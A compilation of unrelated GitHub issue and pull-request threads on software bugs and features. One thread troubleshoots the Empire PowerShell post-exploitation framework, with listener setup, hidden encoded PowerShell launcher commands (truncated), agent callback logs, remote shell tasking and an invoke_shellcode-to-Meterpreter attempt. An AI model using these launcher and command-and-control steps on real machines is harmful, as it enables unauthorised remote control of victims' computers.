Can copy but not open files with 1.6.0-rc2

Using win-sshfs 1.6.0-rc2 with dokany 1.0.0-rc3, I found I could not open files from my remote directory. I could copy them to a local directory and they then opened.
I went back to win-sshfs <IP_ADDRESS> with dokany 7.4 and files can open OK.
I realise that's not much to go on right now, but I'm not sure what to do to troubleshoot. I'm happy to respond to requests for troubleshooting steps or log files.
My PC is running Win 8.1 Enterprise. The remote directory is on a server on the university LAN.

Can u reproduce it with current devel?

I've installed <IP_ADDRESS> with Dokan <IP_ADDRESS>00 (x64). It appears to be working fine on the first few files I tried.
I had a separate but similar issue with <IP_ADDRESS> where it would open most files, but sometimes with TXT or CSV files it thought the file did not exist (perhaps because it was very small). I've not reproduced that error with the current devel.


⚠ API (search) has degraded performance

In 5159bb7, API (search) (https://api.dev.package-search.services.jetbrains.com/search-packages) experienced degraded performance:

HTTP code: 200
Response time: 7456 ms

Resolved: API (search) performance has improved in 94f7c2c after 16 minutes.


[MM-25147] Fix screenreader issue for usernames in messages

Summary
This will allow screen readers to read preferred names that are mentioned in messages
Ticket Link
https://mattermost.atlassian.net/browse/MM-25147
Screenshots

Release Note

NONE

/e2e-test


OpenShift CRDs fix

What this PR does / why we need it:
This will use Helm to generate specific CRDs for OpenShift (3.11) when using the spacial version of the manifests.
Which issue this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close that issue when PR gets merged): fixes #
fixes #2200
Special notes for your reviewer:
Release note:

Build OpenShift 3.11 compatible CRDs

I've just tried running the update-crds.sh script after removing some fields from the OpenAPI validation schema, and it seems to not be fixing the schema.
I get the feeling these Helm templating directives are tripping up controllergen's YAML parser/writer here 😬

After a discussion with @munnerz we decided to take another aproach at this issue.
I am going to close this PR and make a new one, will cherry-pick some useful changes out of this one.


Feature/make plus-minus buttons responsive

Description

Type of change
Zoom in and out buttons on the map were not responsive at different screen widths. They would be hidden or off screen. I made changes to the media queries to account for various screen widths.
Please delete options that are not relevant.

[x] Bug fix (non-breaking change which fixes an issue)

Change Status

[x] Complete, tested, ready to review and merge

How Has This Been Tested?

[x] npm test

Checklist

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[ ] My code has been reviewed by at least one peer
[x] My changes generate no new warnings
[x] New and existing unit tests pass locally with my changes
[x] There are no merge conflicts

Awesome Alvin, you just made this website one step closer to completion.


Exclude filesystem types

It seems like it would be useful to exclude things like tmpfs, etc. since they're more commonly being created now that thing like pam_systemd create one per user. This could start with a simple list — tmpfs, selinuxfs, hugetlbfs, pstore, cgroup, configfs?

I would find that extremely valuable.


Delay loading Feedback Fish script until button is visible

What kind of changes does this PR include?

Changes to the docs site code

Description

Closes #2683
Adds an intersection observer to only load the third-party Feedback Fish scripts once the feedback button is actually visible
I based this off Astro’s own client:visible code — https://github.com/withastro/astro/blob/main/packages/astro/src/runtime/client/visible.ts — another example where exposing these helpers for use in <script> tags could be helpful?

To do

[x] Disable feedback button until it is hydrated?

Testing
Traveling today so here's a quick sanity check that this improves things from my phone:

Before: https://pagespeed.web.dev/report?url=https%3A%2F%2Fdocs.astro.build%2Fen%2Fgetting-started
After: https://pagespeed.web.dev/report?url=https%3A%2F%2Fdeploy-preview-2692--astro-docs-2.netlify.app%2Fen%2Fgetting-started%2F

Nice! Also, +1 for putting client:visible on an Astro component, I guess!


Feat/preflight check

Alternative PR: https://github.com/stackabletech/docker-images/pull/339

superseded by the alternative PR linked above


Problem with rx_subscribeRowsToCellWithIdentifier

func rx_subscribeRowsToCellWithIdentifier<E, Cell where E : AnyObject, Cell: UITableViewCell>         (cellIdentifier: String, configureCell: (UITableView, NSIndexPath, E, Cell) -> Void)         (source: Observable<[E]>)         -> Disposable
I want to be able to configure my cells with structs, but since E must be an AnyObject I can't. Can that be changed to any?

Agreed, this should be fixed.

I was trying to make this fix, but I stumbled on my lack of experience with Swift. After changing AnyObject to Any, I get the following error:
UICollectionView+Rx.swift:123:37: Cannot assign a value of type '[E]' to a value of type '[Any]'
If someone could help me, I would be happy to create a PR with the fixes. :wink:

Hi Andre :)
Thnx for your interest in helping this project.
I've started to work on this problem before a couple of weeks. I have a solution here.
As you can see, it's not trivial because of the way swift generics interact with objective-c runtime, but should be really sweet to use it.
The reason why it's not merged yet into develop branch and into release pipeline is because I would like to add out of the box incremental updates in RxCocoa project for UITableView and UICollectionView.
The reason why I would like to do that is because I want to make sure that public interface makes sense for incremental updates also. I guess I could just design it so it makes sense, but proof by demonstration is best IMHO :)
Here are the ways how you can help us get this finished soon:

you can help me investigate partial design algorithm (I need to know how exactly do UITableView internals work). Although it looks like there is tons of information on the internet, all of the information is partial and lacking vital pieces.
after I finish changes for UITableView (maybe today or tomorrow), you can help me port those changes to UICollectionView. It should be pretty much analog to UITableView solution.
you can give me feedback on solution presented here https://github.com/kzaher/RxSwift/tree/feature/typed-data-source-and-sections, and suggest a better one :)

We can chat more about this in slack channel if you like :) #uitableview_interface


Object removal  demo issue

In the demo app (openxlab) the object removal with mask changes other objects(especially complicated patters/designs) outside mask. However in the github codebase the final output is blended with original image and mask to prevent this issue.
The in-painted regions in demo looks better(compared to alpha blended code) in the local version but unmasked objects are changed in the demo.(eg. objects with shadows)

Hi @anilsathyan7 ,
Thanks for bringing up this issue. The changes in unmasked areas are due to the VAE image encoding process, which is unavoidable in latent diffusion models. If there are any community solutions to solve this problem, we would be happy to discuss :)


Keyword field loses current value when Page form is invalid

As per: https://groups.google.com/forum/#!topic/mezzanine-users/7GD4ETP_Oyo
I've reproduced this, not sure what the cause is.

Pull Requested for Fix.


Add rawvalues and reconstruct functions

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 95.13%. Comparing base (7f72d5e) to head (1b75319).

Additional details and impacted files
@@            Coverage Diff             @@
##             main      #93      +/-   ##
==========================================
+ Coverage   95.11%   95.13%   +0.01%
==========================================
  Files          22       22
  Lines        1105     1109       +4
==========================================
+ Hits         1051     1055       +4
  Misses         54       54

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


[Doc] Doc for check allowAutoSubscriptionCreation when creating init sub

Motivation
This PR is the doc for #14458
Modifications

Add doc for check allowAutoSubscriptionCreation when creating init sub

Documentation

[x] doc

Hi @RobertIndie may I know why do you close this PR?

Hi @RobertIndie may I know why do you close this PR?

I've merged the content of this PR into another PR: #14458


Check for tmp space before install, make TMPDIR

The default size of /tmp is 40MB, so the installation fails when installing mongodb, where the size of mongodb-2.6.12_4.txz.XXXXX is 46MB
In case the tmp is too small, the script should either just stop, or offer to make a TMPDIR at for instance /usr/local/tmp or a user-selectable path.
I solved it by
sh
mkdir /usr/local/tmp
TMPDIR=/usr/local/tmp; export TMPDIR

This has already been resolved in the latest scripts, but not by this exact method. Closing this for now.


The mixin "listing" is not registered

I installed the latest version today via the Shopware - Admin (SW Version <IP_ADDRESS>) and it broke our Admin, the page stays blank after login.
See screenshot for browser messages.

Same here, please remove <IP_ADDRESS> from the supporting list until it's fixed.

Hi, we weren't able to reproduce this yet and our compatibility testing also showed no signs of incompatibility here. Could you give us details on how exactly you did the update and from which shop version you were updating? Did you try rebuilding the admin?
We've removed compatibility with <IP_ADDRESS> as a precaution.

Thanks for the fast interaction. I Updated from <IP_ADDRESS> using web interface without rebuilding the admin - that never was necessary.

I installed the Payone plugin after I updated to <IP_ADDRESS>. It was not installed prior the Shopware update. Basically a fresh installation.

Thanks for your quick replies.
The bad news: yep, you've found a bug
The good news: you should be able to mitigate this by executing bin/build-administration.sh via console in the shopware directory. I've tried this in two different shops, and it fixed the issue there.
We'll get going on providing a fix, though it could take until early next year.


iOS camera flipped

Plugin Version or Commit ID
v0.10.1
Unity Version
2021.3.3f1
Your Host OS
Mac OS 13.0
Target Platform
iOS
Target Device
IPad Pro 2021
[Windows Only] Visual Studio C++ and Windows SDK Version
No response
[Linux Only] GCC/G++ and GLIBC Version
No response
[Android Only] Android Build Tools and NDK Version
No response
[iOS Only] XCode Version
15
Build Command
Built straight out of Unity
Bug Description
Camera is fine and orientated correctly on the default back camera, but changing it to the front camera reverses the image upside down, I wondered if this was a misconfigured setting?
Steps to Reproduce the Bug
Tell webcam to change to front camera
Log
No error log
Screenshot/Video
No response
Additional Context
No response

https://user-images.githubusercontent.com/5452341/204594085-76b8ef4d-e375-4bf0-9542-6e7f9121bfc6.mp4
Also when rotating in general also the orientation of the video stream changes

I sorted the flipping issue, but not the orientation issue, the camera basically goes into an over exaggerated rotated mode when orientation changes on the device atm?

the camera basically goes into an over exaggerated rotated mode when orientation changes on the device atm?

It seems to me that you implemented your sample app. Is it correct?
This repository contains a sample project and I think your problem is already solved in it.
See https://github.com/homuler/MediaPipeUnityPlugin/blob/391d7d98b127ce41ceac85ec47f6126664f1bc4e/Assets/MediaPipeUnity/Samples/Common/Scripts/Screen.cs and https://github.com/homuler/MediaPipeUnityPlugin/blob/391d7d98b127ce41ceac85ec47f6126664f1bc4e/Assets/MediaPipeUnity/Samples/Common/Scripts/GraphRunner.cs#L265-L280 for more details.

Brilliant ill give that a look into, thanks ill let you know how I get on :)

Finally got around to looking at this, basically this is the setup I have already. So to expand further on this, unless you start in Landscape Left mode the camera stream and tracking is out of sync, every time you rotate its like It does a double rotation, like the Mediapipe solution has flipped the camera but also the normal Unity UI has flipped everything too

Sorted it with an orientation checking class, rotate the webcam and MP annotations when I have detected an orientation change and its sorted it now

@ creativewax Is this an efficient solution? Or do you now perform multiple rotations (once in your custom class and once in GraphRunner.cs?
We are dealing with a similar problem and when fixing the orientation in Unity's "Edit -> ProjectSettings -> Player -> Resolution and Presentation -> Landscape Left" setting the camera image still performs a 180° rotation when flipping the tablet. Only Unity UI elements like buttons etc do not autorate anymore.

@mgarbade yeah I noticed this too. In the end what I did was have it check for orientation changes in a different script and then apply offsets to both the screen component and also a custom component of mine for drawing the annontation data the way I wanted it. As weirdly depending on what orientation the device started in could have even weirder effects. There seemed to be no performance hit really doing this as I just checked it wasn’t the same orientation when trying to set so it was applied constantly


removal of meaningless condition & concise mkdir task names

Removed a meaningless condition
Use concise mkdir task names, which appears to be prettier on final graph using ruffus.pipeline_printout_graph

Thanks for the fix. Will not merge as the change to mkdir will require refactoring of tests.
Please reopen if a big issue.


Unit tests are commented out "simply for faster unit tests"

Describe the bug
First, a maxim for this repo: "it doesn't exist if there aren't tests for it."
So we need to have tests for everything.  Any of these is better than commenting out unit tests.
I just saw that test_MinterAgents.py had some unit tests commented out for "simply for faster unit tests". There may be other places.
To Reproduce
Find all the commented-out tests. Uncomment them. Make sure they pass.
Expected behavior
No unit tests commented out. All tests pass.

Fixed in https://github.com/oceanprotocol/tokenspice2/issues/24


Show toast when app is in background

I know its intentional that toasts from this plugin don't show when an Android app is paused but I have an app that does a long file upload and I would like to allow the user to switch to another activity and still see a toast when the upload is finished. Is it just a case of removing the "isPaused" check in the execute method of the plugin?

I don't think that'll reliably work. Feel free to try though.


svm-cli Transaction crafting: spawn

Closes https://github.com/spacemeshos/svm/issues/302. See also https://github.com/spacemeshos/svm/issues/301.

Ready for review. Some cleanup will be done further down the line after a refactoring of svm-codec, so I don't expect things to be perfect!

Closes https://github.com/spacemeshos/svm/issues/303, https://github.com/spacemeshos/svm/issues/302, https://github.com/spacemeshos/svm/issues/304. I'll leave https://github.com/spacemeshos/svm/issues/301 open, we'll close that once everything is polished and we can move on entirely from this.


Doesn't seem to work for Enterprise Agreement based credits

Our Azure tenant subscription is from an Enterprise Agreement, so when I look at the Overview or Billing history, they are both empty and there's no option to select Alerts.
Yes I've enabled the preview feature.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 79c9b4a2-d574-181c-26fd-2fd9de25d11e
Version Independent ID: 9a1b2529-9792-5a86-1a01-3229da618249
Content: Set up billing or credit alerts for Azure subscriptions
Content Source: articles/billing/billing-set-up-alerts.md
Service: billing
GitHub Login: @vikdesai
Microsoft Alias: vikdesai

Sorry, just ran translate on the previous comment and see that he was basically asking for the same thing.

@CraigHumphrey Thanks for bringing this to our attention. Your feedback has been shared with the content owner for further review.

@vikramdesai01, can you please review this and provide guidance?

We're in a similar situation. It's not clear to us if we should use this service, or are eligible to use this service, as a customer with an EA. EA does offer departmental alerts but that is different to subscription derived alerts.

@adwise3 @vikramdesai01 - Please review this issue.

Cannot find it - probably also EA subscription related I guess... please advice.

@cwatson-cat you can make me the article owner
This service doesn't support EA subscriptions, I'll update the doc to clarify this further.

Addressed by PR #41369
#please-close

@CraigHumphrey We will now proceed to close this thread. If there are further questions regarding this matter, please reopen it and we will gladly continue the discussion.


Challenge http://www.freecodecamp.com/challenges/waypoint-pair-program-on-bonfires has an issue

Not a bug, but just a note. I'm Ubuntu(laptop) and Fedora(workstation) user, and there is not Screen Hero version for any linux platform. I believe that vast number of developers use linux, and it's just sad to exclude them. Just a thought... Back to Virtual Machine with Win7... :(

@cvorak thanks for the feedback. We're not really excluding people, it's a representation of the state of the market. We've just found screenhero to be superior to the alternatives (like teamviewer).
Thanks for the feedback. We're always on the lookout for better tools so if you find one let us know.


Raspberry PI 3 + "Empire PowerShell " + Raspbian 8.0 = Do not work

Empire Version
->> Empire: PowerShell post-exploitation agent | [Version]: 1.6.0
OS Information (Linux flavor, Python version)
->> Raspberry PI 3 / Raspbian (debian for raspberry)
->> uname -a
->> Linux hostname 4.4.22-v7+ #912 SMP Mon Sep 26 19:04:59 BST 2016 armv7l GNU/Linux
->> Python = 2.7.9
Expected behavior and description of the error, including any actions taken immediately prior to the error. The more detail the better.
Screenshot of error, embedded text output, or Pastebin link to the error
I run the standard procedure and create a Listener.
(Empire) > listeners
(Empire: listeners) > set Name TEST
(Empire: listeners) > execute
[*] Listener 'TEST' started successfully.
(Empire: listeners) > launcher TEST
powershell.exe -NoP -sta-NonI-W Hidden-Enc W.....=
Very well, Run on Win7x64 from under the local administrator (SID 500)
You are connecting
[+] Initial agent EHP4SNS2EUCHMHXP from <IP_ADDRESS> now active
everything is very good.
But I have no team. for example ls, dir,
and shell sysinfo etc....
(Empire: agents) > interact EHP4SNS2EUCHMHXP
(Empire: EHP4SNS2EUCHMHXP) > ls
(Empire: EHP4SNS2EUCHMHXP) > dir
(Empire: EHP4SNS2EUCHMHXP) > shell whoami
(Empire: EHP4SNS2EUCHMHXP) >
As can be seen from the situation the connection is, but unfortunately the functionality is not working.
Please help.
Any additional information
My install :
git clone https://github.com/adaptivethreat/Empire.git
Cloning into 'Empire'...
remote: Counting objects: 3817, done.
remote: Compressing objects: 100% (60/60), done.
remote: Total 3817 (delta 27), reused 0 (delta 0), pack-reused 3757
Receiving objects: 100% (3817/3817), 11.37 MiB | 224.00 KiB/s, done.
Resolving deltas: 100% (2344/2344), done.
Checking connectivity... done.
cd ./Empire/setup/
./install.sh
Unknown distro - Debian/Ubuntu Fallback
Чтение списков пакетов… Готово
Построение дерева зависимостей
Чтение информации о состоянии… Готово
Уже установлена самая новая версия python-dev.
Уже установлена самая новая версия python-m2crypto.
Уже установлена самая новая версия python-pip.
Уже установлена самая новая версия swig.
обновлено 0, установлено 0 новых пакетов, для удаления отмечено 0 пакетов, и 0 пакетов не обновлено.
Requirement already satisfied (use --upgrade to upgrade): pycrypto in /usr/local/lib/python2.7/dist-packages
Requirement already satisfied (use --upgrade to upgrade): iptools in /usr/local/lib/python2.7/dist-packages
Requirement already satisfied (use --upgrade to upgrade): pydispatcher in /usr/local/lib/python2.7/dist-packages
Requirement already satisfied (use --upgrade to upgrade): flask in /usr/local/lib/python2.7/dist-packages
Requirement already satisfied (use --upgrade to upgrade): Werkzeug>=0.7 in /usr/local/lib/python2.7/dist-packages (from flask)
Requirement already satisfied (use --upgrade to upgrade): Jinja2>=2.4 in /usr/local/lib/python2.7/dist-packages (from flask)
Requirement already satisfied (use --upgrade to upgrade): itsdangerous>=0.21 in /usr/local/lib/python2.7/dist-packages (from flask)
Requirement already satisfied (use --upgrade to upgrade): MarkupSafe in /usr/local/lib/python2.7/dist-packages (from Jinja2>=2.4->flask)
[>] Enter server negotiation password, enter for random generation: q135246
[] Database setup completed!
[] Certificate written to ../data/empire.pem
[*] Setup complete!

Can you try running empire with the --debug 2 flag (/./empire --debug 2) and post the output? This sounds similar to #325, but it would be great to get a bit more info.

root@hostname:/Empire # ./empire --debug 2
[] Loading modules from: /Empire/lib/modules/
EmpireServer : [] Initializing HTTP server on 8080
Empire : [*] Empire starting up...
Empire: PowerShell post-exploitation agent | [Version]: 1.6.0
[Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdub, @enigma0x3
_______ .___  . .___    __  .______       _______
|   ||   /   | |   _  \  |  | |   _  \     |   |
|  |   |  \  /  | |  |)  | |  | |  |)  |    |  |
|   |  |  |/|  | |   /  |  | |      /     |   |
|  | |  |  |  | |  |      |  | |  |\  ----.|  |
||||  || | |      || | _| `.___|||
   180 modules currently loaded

   1 listeners currently active

   1 agents currently active

(Empire) > a HttpHandler : [*] /admin/get.php requested from K3NWP4EW4EBZX2F2 at <IP_ADDRESS>                                     agents
[*] Active agents:
Name               Internal IP     Machine Name    Username            Process             Delay    Last Seen

K3NWP4EW4EBZX2F2   <IP_ADDRESS>  COMP            *COMP\admin         powershell/4872     5/0.0    2016-10-01 21:11:22
(Empire: agents) >  HttpHandler : [] /login/process.jsp requested from K3NWP4EW4EBZX2F2 at <IP_ADDRESS>
interact K3NWP4EW4EBZX2F2
(Empire: K3NWP4EW4EBZX2F2) >  HttpHandler : [] /admin/get.php requested from K3NWP4EW4EBZX2F2 at <IP_ADDRESS>
(Empire: K3NWP4EW4EBZX2F2) >
(Empire: K3NWP4EW4EBZX2F2) > shell whoami
Agents : [] Tasked K3NWP4EW4EBZX2F2 to run TASK_SHELL
(Empire: K3NWP4EW4EBZX2F2) >  HttpHandler : [] /news.asp requested from K3NWP4EW4EBZX2F2 at <IP_ADDRESS>
(Empire: K3NWP4EW4EBZX2F2) > ls
Agents : [] Tasked K3NWP4EW4EBZX2F2 to run TASK_SHELL
(Empire: K3NWP4EW4EBZX2F2) >  HttpHandler : [] /admin/get.php requested from K3NWP4EW4EBZX2F2 at <IP_ADDRESS>
HttpHandler : [] /news.asp requested from K3NWP4EW4EBZX2F2 at <IP_ADDRESS>
HttpHandler : [] /login/process.jsp requested from K3NWP4EW4EBZX2F2 at <IP_ADDRESS>
HttpHandler : [] /admin/get.php requested from K3NWP4EW4EBZX2F2 at <IP_ADDRESS>
HttpHandler : [] /login/process.jsp requested from K3NWP4EW4EBZX2F2 at <IP_ADDRESS>
HttpHandler : [] /login/process.jsp requested from K3NWP4EW4EBZX2F2 at <IP_ADDRESS>
HttpHandler : [] /login/process.jsp requested from K3NWP4EW4EBZX2F2 at <IP_ADDRESS>
HttpHandler : [*] /news.asp requested from K3NWP4EW4EBZX2F2 at <IP_ADDRESS>
[>] Exit? [y/N] y
[!] Shutting down...

Can you do me a favour and show me the output of netstat -antp and listeners? Failing that, give this a shot when you're building your listener:

Set CertPath
Set Host
Set Port

There's a bit of a bug in the listener config for 1.6 that causes problems when you set the Port before the host. It's been fixed in 2.0, but if this is what's happening to you, the above steps should solve it.

One moment please.
Another test. I have PC1 (Windows 7 x64 on it, I'll start "launcher" script) + PC2 (Debian 8.6 amd64 all update) + Raspberry 3 (Rasbian 8 all update). On PC2 and Ras3 I set the "Empire 1.6.0", run the "listener".
So:
PC2:
Uname -a
Linux debian 3.16.0-4-686-pae # 1 SMP Debian 3.16.36-1 + deb8u1 (2016-09-03) i686 GNU / Linux
root @ debian: / DATA / tools / Empire # cat / etc / debian_version
8.6
Next run you tools and:
(Empire: listeners)> set Name TEST001
(Empire: listeners)> set http://<IP_ADDRESS>:80
[!] Please enter a value to set for the option
(Empire: listeners)> set Host http://<IP_ADDRESS>:80
(Empire: listeners)> set Port 80
(Empire: listeners)> execute
[*] Listener 'TEST001' successfully started.
root @ debian: ~ # netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID / Program name
tcp 0 0 <IP_ADDRESS>:111 <IP_ADDRESS>:* LISTEN 492 / rpcbind
tcp 0 0 <IP_ADDRESS>:80 <IP_ADDRESS>:* LISTEN 1466 / python
Next start script powershell.exe -NoP -sta -NonI -W Hidden -Enc WwB ... On PC1 Win7x64:
[+] Initial agent 44NWXXF4GTP3YBHC from <IP_ADDRESS> now active
(Empire: agents)> interact 44NWXXF4GTP3YBHC
(Empire: 44NWXXF4GTP3YBHC)> shell whoami
(Empire: 44NWXXF4GTP3YBHC)>
comp \ admin
Very good. Work !!!!
Now test start you tools on Rasberry 3:
I do everything the same as on the PC2 (Debian)
(Empire: listeners)> set Host http://<IP_ADDRESS>:80
(Empire: listeners)> set Name TEST
(Empire: listeners)> set Port 80
(Empire: listeners)> execute
[*] Listener 'TEST' successfully started.
#netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID / Program name
tcp 0 0 <IP_ADDRESS>:80 <IP_ADDRESS>:* LISTEN 3019 / python
tcp 0 0 <IP_ADDRESS>:22 <IP_ADDRESS>:* LISTEN 549 / sshd
[+] Initial agent TRUMCD2WXRN4WZ2G from <IP_ADDRESS> now active
[*] Active agents:
Name Internal IP Machine Name Username Process Delay Last Seen

TRUMCD2WXRN4WZ2G <IP_ADDRESS> COMP * COMP \ admin powershell / 4256 5 / 0.0 02/10/2016 1:35:47
(Empire: agents)> interact TRUMCD2WXRN4WZ2G
(Empire: TRUMCD2WXRN4WZ2G)> shell whoami
(Empire: TRUMCD2WXRN4WZ2G)> And the answer is nothing ((((
PC1(win7x64) + PC2(x64 + Empire) =OK
PC1(win7x64) + Raspberry (arm + Empire) = Do not work.

A problem I had when setting the host using Host:Port, was that you'd get Host:Port:Port (<IP_ADDRESS>:80:80). The short procedure I shared will eliminate any of the strange logic errors that would occasionally pop up during 1.6 listener creation. Does it work on your Raspbian box?

Hi! Still did not work on Raspberry (
If I understood you correctly, I did this test:
(Empire) > listeners
(Empire: listeners) > set Name TEST
(Empire: listeners) > set Host http://<IP_ADDRESS>:80:80
(Empire: listeners) > set Port 80
(Empire: listeners) > execute
[*] Listener 'TEST' started successfully.
(Empire: listeners) > launcher 1
powershell.exe -NoP -sta-NonI-W Hidden-Enc WwBT....
netstat-antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 <IP_ADDRESS>:80 <IP_ADDRESS>:* LISTEN 1607/python
tcp 0 0 <IP_ADDRESS>:22 <IP_ADDRESS>:* LISTEN 552/sshd
Start on Win7X64.
tcpdump -n-p -i eth0 port 80
tcpdump: verbose output suppressed, use-v or-vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
NOTHING ((((
Another test:
(Empire) > listeners
(Empire: listeners) > set Name TEST
(Empire: listeners) > set Host http://<IP_ADDRESS> <-------- !!!!!
(Empire: listeners) > set Port 80
(Empire: listeners) > execute
[*] Listener 'TEST' started successfully.
(Empire: listeners) > launcher 1
powershell.exe -NoP -sta-NonI-W Hidden-Enc WwBT....
[+] Initial agent KUNAVVCBFHN11FKH from <IP_ADDRESS> now active
[*] Active agents:
Name Internal IP, Machine Name Username Process Delay Last Seen
KUNAVVCBFHN11FKH <IP_ADDRESS> COMP *COMP\admin powershell/4104 5/0.0 2016-10-02 07:03:41
(Empire: KUNAVVCBFHN11FKH) > shell whoami
(Empire: KUNAVVCBFHN11FKH) > shell whoami
(Empire: KUNAVVCBFHN11FKH) > NOTHING (((((

My suggestion was to set just the IP, (<IP_ADDRESS>) rather than with a preceding http (http://<IP_ADDRESS>), or with a trailing port (http://<IP_ADDRESS>:80, or http://<IP_ADDRESS>:80:80) although I don't know that this was where I was running into problems.
It sounds like you may be running into a different problem, but just to be sure can you try this?]
set Host <IP_ADDRESS>
set Port 80
set Name Initial
launcher Initial

Why are you using launcher 1 rather than launcher TEST?

Сейчас я сделал все как Вы сказали мне, вот результат:
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > set Host <IP_ADDRESS>
(Empire: listeners) > set Port 80
(Empire: listeners) > set Name Initial
(Empire: listeners) > execute
[*] Listener 'Initial' successfully started.
(Empire: listeners) > launcher Initial
powershell.exe -NoP -sta -NonI -W Hidden -Enc Ww...
Start on PC1 Win7X64.
[+] Initial agent 24V1LBZPMCZDPDZV from <IP_ADDRESS> now active
(Empire: listeners) > agents
[*] Active agents:
Name               Internal IP     Machine Name    Username            Process             Delay    Last Seen
24V1LBZPMCZDPDZV   <IP_ADDRESS>  COMP            *COMP\admin         powershell/152      5/0.0    2016-10-02 10:21:01
(Empire: agents) > interact
[!] Please enter a valid agent name
(Empire: agents) > interact 24V1LBZPMCZDPDZV
(Empire: 24V1LBZPMCZDPDZV) > shell whoami  <----NOTHING (((((
(Empire: 24V1LBZPMCZDPDZV) > sysinfo    <----NOTHING (((((
(Empire: 24V1LBZPMCZDPDZV) > info
[] Agent info:
ps_version              2
old_uris                None
jitter                  0.0
servers                 None
internal_ip             <IP_ADDRESS>
working_hours
session_key             VRU:O\Yy?,N$>1unjvP4LK]gGQ3~J-.
children                None
checkin_time            2016-10-02 10:20:08
hostname                COMP
delay                   5
uris                    /admin/get.php,/news.asp,/login/process.jsp
username                COMP\admin
kill_date
parent                  None
process_name            powershell
listener                http://<IP_ADDRESS>:80/
sessionID               24V1LBZPMCZDPDZV
process_id              152
os_details              Microsoft Windows 7 ????????????
lost_limit              60
ID                      1
name                    24V1LBZPMCZDPDZV
external_ip             <IP_ADDRESS>
headers
user_agent              Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
lastseen_time           2016-10-02 10:25:17
high_integrity          1

Hm. Have you tried the 2.0_beta branch?

Yeah!
Version 2.0.0-beta is working well. I tested the shell command "ls", "whoami shell" etc.
In my opinion the Raspberry PI is a very good solution to create a "pentest/hack tools box".
Thank you very much for quick response and support.

Glad to hear it and you're welcome :)

Hi! Me again. Test plan the penetration of Empire PS -> bypassuag -> meterpreter.
I have PC1 (Win8.1x64) and PC2 (2016.2 kali x64). Install Empire PS ver 1.6.0 and 2.0_beta + metasploit on starting the https handler.
Make two launcher from different versions. Everything is fine, the connection is there, the active agents too.
Next, I want to start the module code_execution/invoke_shellcode.
for 1.6.0:
(Empire: code_execution/invoke_shellcode) > set Lhost <IP_ADDRESS>
(Empire: code_execution/invoke_shellcode) > set Lport 443
(Empire: code_execution/invoke_shellcode) > execute
(Empire: code_execution/invoke_shellcode) >
Job started: Debug32_j67ny
-> Statring session on msfconsole (Very good. WORK!)
2.0_beta
(Empire: powershell/code_execution/invoke_shellcode) > set Lhost <IP_ADDRESS>
(Empire: powershell/code_execution/invoke_shellcode) > set Lport 443
(Empire: powershell/code_execution/invoke_shellcode) > execute
[!] Exception: Stagers instance has no attribute 'installPath'
Error (((


New module to stream FileInfoStream from s3

This will poll s3 for new files on a short duration , but keep track of each individual file so it can handle files coming out of order.  The service will receive an already decoded stream over a channel when a new file is seen in s3.
The benefit of this is we will not have to make sure to have certain offsets configured based on the previous service's roll time on its output files.
Table definition
create table files_processed (
	file_name varchar primary key,
	file_type varchar,
	file_timestamp timestamp,
	processed_at timestamp
)

Configuration:
start_after --> the start point when querying into s3.  Will only be used when no records are found in the db.
max_lookback --> the max it will look back from now when querying s3.
Having both set doesn't really make sense, do we need both? should be an enum?
Another design choice that comes off little weird, but couldn't come up with anything better is that calling FileInfoStream::into_stream consumes the struct and inserts the record into the db within the provided transaction.  It feels odd to insert the db record before reading the stream but the thought was it shouldn't matter as long as the transaction is committed after processing stream.  Welcome to other ideas.

lgtm but i wonder if we need to allow the file receiver ( ie the entity which receives the file stream contents ) to specify a max concurrent file limit in order to avoid the receiver being overwhelmed should there be a lot of files or a lot of msgs in files being streamed....Allows the receiver to control the flow rate

So allow the receiver to specify the size of the channel?  I like that idea


suppress compiler warnings

For context, see
https://github.com/h2o/quicly/pull/52#discussion_r243146128.

Thank you for the PR.


Ctrl+0 causes a jump to the beginning of the video

Causes painful UX: if you watch a long video and just expect a normal behavior from Ctrl+0 (which is zooming the page to a normal size), instead it jumps to the beginning and demotivates continuing watching the video, because this requires finding where you were interrupted.
Seems to be there's no mention of such hotkey in the code, there's no such behavior on YouTube and Vimeo, so this appears to be a bug to me.
Reproduction Link: https://www.vidstack.io/player/demo
Doesn't reproduce with <media-player ... key-disabled>.
Thanks for making Vidstack Player anyway! Looks like it's the least buggy and yet most powerful player of those that are currently compatible with p2p-media-loader.

Ctrl+0 is currently interpreted as 0, here's the fix: #1493


Return to Camp

When I click Return to Camp, my toon does nothing.
Along those lines, is there a setting that will make the toon go to his camp spot after killing a mob?  Right now if they are within the camp radius they stay in that spot until another mob comes inside the radius.

Changed the logic a little bit.
Return To Camp button should force return to camp center now. Although its only for the toon, its not broadcasting anything.. may change that.
If mobs are in camp toons won't try to return to camp unless they are > 15 beyond the camp radius, so that if they end up fighting around the edge they aren't trying to run back in mid fight.
If no mobs in camp, toons return to camp if further than campradius/2 away from camp center.


Commit Artifacts Directory

Since the contracts are getting close to being frozen, it would be useful if the artifacts directory is committed so that a consumer of this gitrepo doesn't need yarn and have to install a bunch of dependencies to get the compiled contracts/abi. This is useful for the script I'm writing to autogenerate bindings to the contracts, I'd like to download the artifact JSON files directly from github and then use the abi and bytecode directly with abigen.
What do you think?

Closing old issues, this one has been solved


pull request for e2e test at 12/05/2016 19:56:00

:white_check_mark: Validation status: passed
For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


[BUG] $infinite-scroll-loading-color don't modify spinner color

Ionic version:  (check one with "x")
[ ] 1.x
[X] 2.x
I'm submitting a ...
[X] bug report
[ ] feature request
[ ] support request
Current behavior:
